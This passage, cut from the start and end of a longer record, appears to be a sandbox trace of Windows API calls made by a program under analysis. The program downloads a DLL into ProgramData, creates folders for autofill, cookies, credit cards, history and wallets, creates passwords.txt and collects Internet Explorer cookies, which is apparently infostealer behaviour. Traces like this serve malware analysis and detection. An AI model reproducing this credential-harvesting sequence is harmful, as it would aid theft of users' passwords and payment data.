hFile=0xcc000c, lpBuffer=0x368f4f0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x368f4f0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.546] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x368f8d8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x368f8d8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.546] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x368fcc0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x368fcc0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.546] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36900a8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36900a8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.546] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3690490, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3690490*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.547] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3690878, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3690878*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.547] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3690c60, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3690c60*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.548] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3691048, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3691048*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.548] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3691430, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3691430*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.548] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3691818, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3691818*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.548] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3691c00, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3691c00*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.549] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3691fe8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3691fe8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.549] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36923d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36923d0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.549] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36927b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36927b8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.549] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3692ba0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3692ba0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.550] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3692f88, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3692f88*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.550] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3693370, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3693370*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.550] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3693758, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3693758*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.550] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3693b40, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3693b40*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.551] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3693f28, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3693f28*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.551] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3694310, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3694310*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.551] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36946f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36946f8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.552] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3694ae0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3694ae0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.552] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3694ec8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3694ec8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.552] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36952b0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36952b0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.553] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3695698, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3695698*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.553] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3695a80, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3695a80*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.553] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3695e68, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3695e68*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.554] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3696250, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3696250*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.554] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3696638, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3696638*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.554] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3696a20, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3696a20*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.554] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3696e08, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3696e08*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.555] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36971f0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36971f0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.555] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36975d8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36975d8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.555] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36979c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36979c0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.555] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3697da8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3697da8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.556] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3698190, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3698190*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.556] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3698578, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3698578*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.556] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3698960, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3698960*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.556] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3698d48, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3698d48*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.557] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3699130, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3699130*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.557] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3699518, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3699518*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.557] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3699900, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3699900*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.557] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3699ce8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3699ce8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.557] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x369a0d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x369a0d0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.558] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x369a4b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x369a4b8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.558] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x369a8a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x369a8a0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.558] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x369ac88, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x369ac88*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.558] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x369b070, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x369b070*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.558] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x369b458, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x369b458*, lpdwNumberOfBytesRead=0x19f5f0*=0x310) returned 1 [0141.559] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x369b768, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x369b768*, lpdwNumberOfBytesRead=0x19f5f0*=0x0) returned 1 [0141.562] HttpQueryInfoA (in: hRequest=0xcc000c, dwInfoLevel=0x1d, lpBuffer=0x19f638, lpdwBufferLength=0x19f5f0, lpdwIndex=0x0 | out: lpBuffer=0x19f638, lpdwBufferLength=0x19f5f0, lpdwIndex=0x0) returned 0 [0141.562] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0141.563] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0141.563] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0141.563] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361068 | out: hHeap=0x2360000) returned 1 [0141.563] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361040 | out: hHeap=0x2360000) returned 1 [0141.563] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x2361040 [0141.563] CreateFileA (lpFileName="C:\\ProgramData\\\\vcruntime140.dll" (normalized: "c:\\programdata\\vcruntime140.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28 [0141.564] WriteFile (in: hFile=0x28, lpBuffer=0x3687020*, nNumberOfBytesToWrite=0x14748, lpNumberOfBytesWritten=0x19f7cc, lpOverlapped=0x0 | out: lpBuffer=0x3687020*, lpNumberOfBytesWritten=0x19f7cc*=0x14748, lpOverlapped=0x0) returned 1 [0141.570] CloseHandle (hObject=0x28) returned 1 [0141.572] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361040 | out: hHeap=0x2360000) returned 1 [0141.572] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x2361040 [0141.572] CreateDirectoryA (lpPathName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Autofill" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\autofill"), lpSecurityAttributes=0x0) returned 1 [0141.573] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361040 | out: hHeap=0x2360000) returned 1 [0141.573] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x2361040 [0141.579] CreateDirectoryA (lpPathName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\cookies"), lpSecurityAttributes=0x0) returned 1 [0141.637] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361040 | out: hHeap=0x2360000) returned 1 [0141.637] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x2361040 [0141.637] CreateDirectoryA (lpPathName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\CC" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\cc"), lpSecurityAttributes=0x0) returned 1 [0141.638] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361040 | out: hHeap=0x2360000) returned 1 [0141.638] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x2361040 [0141.638] CreateDirectoryA (lpPathName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\History" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\history"), lpSecurityAttributes=0x0) returned 1 [0141.638] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361040 | out: hHeap=0x2360000) returned 1 [0141.639] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x2361040 [0141.639] CreateDirectoryA (lpPathName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Downloads" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\downloads"), lpSecurityAttributes=0x0) returned 1 [0141.639] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361040 | out: hHeap=0x2360000) returned 1 [0141.639] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x2361040 [0141.639] CreateDirectoryA (lpPathName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\wallets"), lpSecurityAttributes=0x0) returned 1 [0141.643] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361040 | out: hHeap=0x2360000) returned 1 [0141.643] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x2361040 [0141.644] SetCurrentDirectoryA (lpPathName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files")) returned 1 [0141.644] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361040 | out: hHeap=0x2360000) returned 1 [0141.644] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x2361040 [0141.644] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x2361078 [0141.645] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361040 | out: hHeap=0x2360000) returned 1 [0141.660] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x18) returned 0x2361040 [0141.675] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x18) returned 0x23610b0 [0141.742] CreateFileA (lpFileName="passwords.txt" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\passwords.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x19f504, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0141.800] GetFileType (hFile=0x2f8) returned 0x1 [0141.800] CloseHandle (hObject=0x2f8) returned 1 [0141.807] GetLastError () returned 0x0 [0141.807] SetLastError (dwErrCode=0x0) [0141.807] GetLastError () returned 0x0 [0141.807] SetLastError (dwErrCode=0x0) [0141.813] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x23610d0 [0141.813] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x23611c0 [0141.813] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23610d0 | out: hHeap=0x2360000) returned 1 [0141.813] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x23610d0 [0141.813] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2361218 [0141.819] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2361270 [0141.825] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361270, cbMultiByte=74, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0141.825] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x94) returned 0x23612c8 [0141.825] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361270, cbMultiByte=74, lpWideCharStr=0x23612c8, cchWideChar=74 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\*.txt") returned 74 [0141.825] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xa0) returned 0x2361368 [0141.825] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23612c8 | out: hHeap=0x2360000) returned 1 [0141.825] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\*.txt", lpFindFileData=0x19f0b0 | out: lpFindFileData=0x19f0b0*(dwFileAttributes=0x2000002, ftCreationTime.dwLowDateTime=0x14, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x18, ftLastAccessTime.dwHighDateTime=0x2400ebcf, ftLastWriteTime.dwLowDateTime=0x20000, ftLastWriteTime.dwHighDateTime=0x20ed4, nFileSizeHigh=0x23604b6, nFileSizeLow=0x20ed0, dwReserved0=0x19f3b8, dwReserved1=0x2000002, cFileName="⳰瞒\x82", cAlternateFileName="￿￿\跟岀砀　昀∀)) returned 0xffffffff [0141.904] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361368 | out: hHeap=0x2360000) returned 1 [0141.911] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x1c) returned 0x23612c8 [0141.923] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x19f0b0 | out: lpFindFileData=0x19f0b0*(dwFileAttributes=0x2000002, ftCreationTime.dwLowDateTime=0x14, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x18, ftLastAccessTime.dwHighDateTime=0x2400ebcf, ftLastWriteTime.dwLowDateTime=0x20000, ftLastWriteTime.dwHighDateTime=0x20ed4, nFileSizeHigh=0x23604b6, nFileSizeLow=0x20ed0, dwReserved0=0x19f3b8, dwReserved1=0x2000002, cFileName="⳰瞒\x82", cAlternateFileName="￿￿\跟岀砀　昀∀)) returned 0 [0141.924] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361270 | out: hHeap=0x2360000) returned 1 [0141.924] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x23610d0, cbMultiByte=23, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 23 [0141.924] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x2e) returned 0x2361270 [0141.924] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x23610d0, cbMultiByte=23, lpWideCharStr=0x2361270, cchWideChar=23 | out: lpWideCharStr="Cookies\\IE_Cookies.txt") returned 23 [0141.924] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x23612f0 [0141.924] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361270 | out: hHeap=0x2360000) returned 1 [0141.925] CreateFileW (lpFileName="Cookies\\IE_Cookies.txt" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\cookies\\ie_cookies.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x19f1f0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0141.925] GetFileType (hFile=0x2f8) returned 0x1 [0141.932] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=-1, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.933] GetLastError () returned 0x83 [0141.933] GetLastError () returned 0x83 [0141.933] SetLastError (dwErrCode=0x83) [0141.933] GetLastError () returned 0x83 [0141.933] SetLastError (dwErrCode=0x83) [0141.933] GetLastError () returned 0x83 [0141.933] SetLastError (dwErrCode=0x83) [0141.933] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23612f0 | out: hHeap=0x2360000) returned 1 [0141.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="⳰瞒\x82", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0141.934] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x23610f8 [0141.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="⳰瞒\x82", cchWideChar=4, lpMultiByteStr=0x23610f8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="???", lpUsedDefaultChar=0x0) returned 4 [0141.934] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23610f8 | out: hHeap=0x2360000) returned 1 [0141.940] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2361270 [0141.940] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x23610f8 [0141.940] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x23612f0 [0141.940] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x2) returned 0x2361060 [0142.020] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361060 | out: hHeap=0x2360000) returned 1 [0142.020] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x2) returned 0x2361060 [0142.020] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x18) returned 0x2361318 [0142.026] GetLastError () returned 0x83 [0142.026] SetLastError (dwErrCode=0x83) [0142.026] GetLastError () returned 0x83 [0142.027] SetLastError (dwErrCode=0x83) [0142.033] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x8, Size=0xd8) returned 0x2361338 [0142.040] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x355) returned 0x3340048 [0142.040] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0142.041] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x2) returned 0x2361418 [0142.041] GetLastError () returned 0x83 [0142.041] SetLastError (dwErrCode=0x83) [0142.041] GetLastError () returned 0x83 [0142.041] SetLastError (dwErrCode=0x83) [0142.041] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x8, Size=0xd8) returned 0x3340048 [0142.041] GetLastError () returned 0x83 [0142.042] SetLastError (dwErrCode=0x83) [0142.042] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x355) returned 0x3340128 [0142.042] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340128 | out: hHeap=0x2360000) returned 1 [0142.042] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361338 | out: hHeap=0x2360000) returned 1 [0142.042] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x2) returned 0x2361428 [0142.042] GetLastError () returned 0x83 [0142.042] SetLastError (dwErrCode=0x83) [0142.042] GetLastError () returned 0x83 [0142.042] SetLastError (dwErrCode=0x83) [0142.042] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x8, Size=0x200) returned 0x3340128 [0142.042] GetLastError () returned 0x83 [0142.043] SetLastError (dwErrCode=0x83) [0142.043] GetLastError () returned 0x83 [0142.043] SetLastError (dwErrCode=0x83) [0142.043] GetLastError () returned 0x83 [0142.043] SetLastError (dwErrCode=0x83) [0142.043] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x8, Size=0xd8) returned 0x2361338 [0142.043] GetLastError () returned 0x83 [0142.043] SetLastError (dwErrCode=0x83) [0142.043] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x355) returned 0x3340330 [0142.043] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340330 | out: hHeap=0x2360000) returned 1 [0142.044] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0142.044] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361428 | out: hHeap=0x2360000) returned 1 [0142.044] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361418 | out: hHeap=0x2360000) returned 1 [0142.044] RtlAllocateHeap 